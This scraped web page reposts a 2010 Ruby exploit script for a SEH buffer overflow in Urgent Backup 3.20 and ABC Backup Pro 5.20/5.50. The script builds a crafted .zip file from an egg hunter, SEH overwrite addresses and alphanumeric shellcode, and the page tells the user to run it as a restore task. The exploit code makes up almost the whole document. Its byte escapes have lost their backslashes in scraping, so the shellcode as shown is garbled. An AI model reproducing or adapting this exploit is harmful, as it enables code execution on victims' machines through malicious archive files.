Home / os / win7

Urgent Backup 3.20 / ABC Backup Pro 5.20 / ABC Backup 5.50 (

Posted on 30 April 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Urgent Backup 3.20 / ABC Backup Pro 5.20 / ABC Backup 5.50 (.zip) SEH</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=====================================================================
Urgent Backup 3.20 / ABC Backup Pro 5.20 / ABC Backup 5.50 (.zip) SEH
=====================================================================

#!/usr/bin/ruby
# Software      : Urgent Backup 3.20 / ABC Backup Pro 5.20 / ABC Backup 5.50
# Author        : Lincoln
# Date          : April 27, 2010
# Reference     : http://www.corelan.be:8800/advisories.php?id=CORELAN-10-034
# OS            : Windows
# Tested on     : XP SP3 En (VirtualBox)
# Type of vuln  : SEH
# Greetz to     : Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
# Corelan does not want anyone to use this script
# for malicious and/or illegal purposes.
# Corelan cannot be held responsible for any illegal use.
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may cause.
#
#
banner =
&quot;|------------------------------------------------------------------|
&quot; +
&quot;|                         __               __                      |
&quot; +
&quot;|   _________  ________  / /___ _____     / /____  ____ _____ ___  |
&quot; +
&quot;|  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |
&quot; +
&quot;| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |
&quot; +
&quot;| \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |
&quot; +
&quot;|                                                                  |
&quot; +
&quot;|                                       http://www.corelan.be:8800 |
&quot; +
&quot;|                                                                  |
&quot; +
&quot;|-------------------------------------------------[ EIP Hunters ]--|
&quot;
 
 
unless ARGV.length == 1
        print banner
        puts &quot;[+] Exploit for Urgent Backup 3.20 / ABC Backup Pro 5.20 / ABC Backup 5.50&quot;
        puts &quot;[+] Usage: select form the following:&quot;
        puts &quot;[+] 1). Urgent Backup 3.20 &amp; ABC Backup Pro 5.20&quot;
        puts &quot;[+] 2). ABC Backup 5.50&quot;
        puts &quot;[+] ex: ./urgent.rb 1

&quot;
        exit
end
 
var = ARGV[0].to_i
 
#Zip Headers
header1=
&quot;x50x4bx03x04x14x00x00x00&quot; +
&quot;x00x00xb7xacxcex34x00x00&quot; +
&quot;x00x00x00x00x00x00x00x00&quot; +
&quot;x00xc4x09x00x00x00&quot;
 
header2=
&quot;x50x4bx01x02x14x00x14x00&quot; +
&quot;x00x00x00x00xb7xacxcex34&quot; +
&quot;x00x00x00x00x00x00x00x00&quot; +
&quot;x00x00x00x00xc4x09x00x00&quot; +
&quot;x00x00x00x00x01x00x24x00&quot; +
&quot;x00x00x00x00x00x00&quot;
 
header3=
&quot;x50x4bx05x06x00x00x00x00&quot; +
&quot;x01x00x01x00xf2x09x00x00&quot; +
&quot;xe2x09x00x00x00x00&quot;
 
#sub dx, 3000
egg =
&quot;x66x81xeaxb8x0bx42x52x6a&quot; +
&quot;x02x58xcdx2ex3cx05x5ax74&quot; +
&quot;xefxb8x77x30x30x74x8bxfa&quot; +
&quot;xafx75xeaxafx75xe7xffxe7&quot;
 
#msgbox: &quot;Exploited by Corelan Security Team&quot;
shellcode =
&quot;w00tw00t&quot; +
&quot;x89xe3xdaxd7xd9x73xf4x59x49x49x49x49x49x49&quot; +
&quot;x49x49x49x49x49x43x43x43x43x43x43x37x51x5a&quot; +
&quot;x6ax41x58x50x30x41x30x41x6bx41x41x51x32x41&quot; +
&quot;x42x32x42x42x30x42x42x41x42x58x50x38x41x42&quot; +
&quot;x75x4ax49x4ax79x4ax4bx4dx4bx4bx69x51x64x45&quot; +
&quot;x74x4ax54x45x61x4ex32x4ex52x42x5ax46x51x49&quot; +
&quot;x59x42x44x4ex6bx51x61x44x70x4cx4bx43x46x44&quot; +
&quot;x4cx4ex6bx42x56x47x6cx4cx4bx51x56x44x48x4c&quot; +
&quot;x4bx51x6ex45x70x4ex6bx45x66x50x38x50x4fx47&quot; +
&quot;x68x50x75x4cx33x50x59x45x51x4bx61x4bx4fx48&quot; +
&quot;x61x51x70x4cx4bx50x6cx46x44x45x74x4cx4bx51&quot; +
&quot;x55x47x4cx4cx4bx50x54x43x35x50x78x43x31x4b&quot; +
&quot;x5ax4cx4bx42x6ax47x68x4ex6bx43x6ax47x50x45&quot; +
&quot;x51x4ax4bx48x63x46x57x50x49x4ex6bx44x74x4c&quot; +
&quot;x4bx45x51x4ax4ex44x71x49x6fx50x31x4bx70x4b&quot; +
&quot;x4cx4ex4cx4fx74x4bx70x43x44x46x6ax4ax61x4a&quot; +
&quot;x6fx44x4dx47x71x4bx77x48x69x4ax51x4bx4fx49&quot; +
&quot;x6fx49x6fx45x6bx43x4cx45x74x51x38x51x65x49&quot; +
&quot;x4ex4ex6bx42x7ax45x74x45x51x4ax4bx43x56x4e&quot; +
&quot;x6bx46x6cx42x6bx4cx4bx43x6ax45x4cx43x31x4a&quot; +
&quot;x4bx4ex6bx45x54x4ex6bx47x71x4dx38x4fx79x51&quot; +
&quot;x54x46x44x47x6cx45x31x4ax63x4fx42x44x48x46&quot; +
&quot;x49x48x54x4fx79x4bx55x4dx59x49x52x50x68x4c&quot; +
&quot;x4ex50x4ex44x4ex48x6cx50x52x4bx58x4dx4cx4b&quot; +
&quot;x4fx49x6fx4bx4fx4fx79x51x55x46x64x4dx6bx51&quot; +
&quot;x6ex49x48x4dx32x51x63x4cx47x45x4cx44x64x51&quot; +
&quot;x42x4dx38x4ex6bx49x6fx49x6fx4bx4fx4cx49x42&quot; +
&quot;x65x47x78x43x58x42x4cx50x6cx45x70x4bx4fx51&quot; +
&quot;x78x47x43x45x62x46x4ex45x34x45x38x51x65x51&quot; +
&quot;x63x45x35x44x32x4dx58x51x4cx44x64x44x4ax4c&quot; +
&quot;x49x48x66x43x66x4bx4fx43x65x46x64x4cx49x4b&quot; +
&quot;x72x50x50x4dx6bx4ex48x4cx62x50x4dx4dx6cx4e&quot; +
&quot;x67x47x6cx47x54x46x32x4bx58x43x6ex49x6fx49&quot; +
&quot;x6fx49x6fx42x48x51x74x45x71x51x48x45x70x43&quot; +
&quot;x58x44x30x43x47x42x4ex42x45x44x71x4bx6bx4b&quot; +
&quot;x38x43x6cx45x74x46x66x4bx39x48x63x45x38x50&quot; +
&quot;x61x42x4dx50x58x45x70x51x78x42x59x45x70x50&quot; +
&quot;x54x51x75x51x78x44x35x43x42x50x69x51x64x43&quot; +
&quot;x58x51x30x43x63x45x35x43x53x51x78x42x45x42&quot; +
&quot;x4cx50x61x50x6ex42x48x51x30x51x53x50x6fx50&quot; +
&quot;x72x45x38x43x54x51x30x50x62x43x49x51x78x42&quot; +
&quot;x4fx43x59x42x54x50x65x51x78x42x65x51x68x42&quot; +
&quot;x50x50x6cx46x51x48x49x4ex68x50x4cx46x44x45&quot; +
&quot;x72x4dx59x49x71x44x71x4ax72x43x62x43x63x50&quot; +
&quot;x51x46x32x4bx4fx48x50x50x31x4fx30x46x30x4b&quot; +
&quot;x4fx51x45x44x48x45x5ax41x41&quot;
 
size = 2496
junk = &quot;x90&quot; * (276 - egg.length)
 
nseh   = &quot;x5cx61x98xa0&quot; #pop esp / pop ad / jmp ecx
seh    = &quot;x16x66x40x00&quot; #universal p/p retn 8
altseh = &quot;x7Ex6Bx6Bx00&quot; #universal p/p retn 8 for ABC 5.50 regular
 
pay1 = junk + egg + nseh + seh + shellcode
pay2 = junk + egg + nseh + altseh + shellcode
 
rest = &quot;D&quot; * (size - pay1.length)
 
opt1 = pay1 + rest + &quot;.txt&quot;
opt2 = pay2 + rest + &quot;.txt&quot;
 
if var == 1
        if File.exist?(&quot;Urgent2.zip&quot;) then
                File.delete(&quot;Urgent2.zip&quot;)
        end
                filename = &quot;Urgent1.zip&quot;
                f = File.new(filename, 'w')
                f.write header1 + opt1 + header2 + opt1 + header3
                f.close
                print banner
                puts &quot;[+] Exploit for Option 1: Urgent Backup 3.20 &amp; ABC Backup Pro 5.20&quot;
                puts &quot;[+] file size :  #{opt1.length}&quot;
                puts &quot;[+] Wrote exploit file : #{filename}&quot;
                puts &quot;[+] Run zip as restore task and boom!

&quot;
                exit
 
elsif var == 2
        if File.exist?(&quot;Urgent1.zip&quot;) then
                File.delete(&quot;Urgent1.zip&quot;)
        end
                filename = &quot;Urgent2.zip&quot;
                f = File.new(filename, 'w')
                f.write header1 + opt2 + header2 + opt2 + header3
                f.close
                print banner
                puts &quot;[+] Exploit for Option 2: ABC Backup 5.50&quot;
                puts &quot;[+] file size :  #{opt2.length}&quot;
                puts &quot;[+] Wrote exploit file : #{filename}&quot;
                puts &quot;[+] Run zip as restore task and boom!

&quot;
                exit
 
else
        puts &quot;DOH!, read the instructions: ./urgent.rb&quot;
end


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-04-30]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :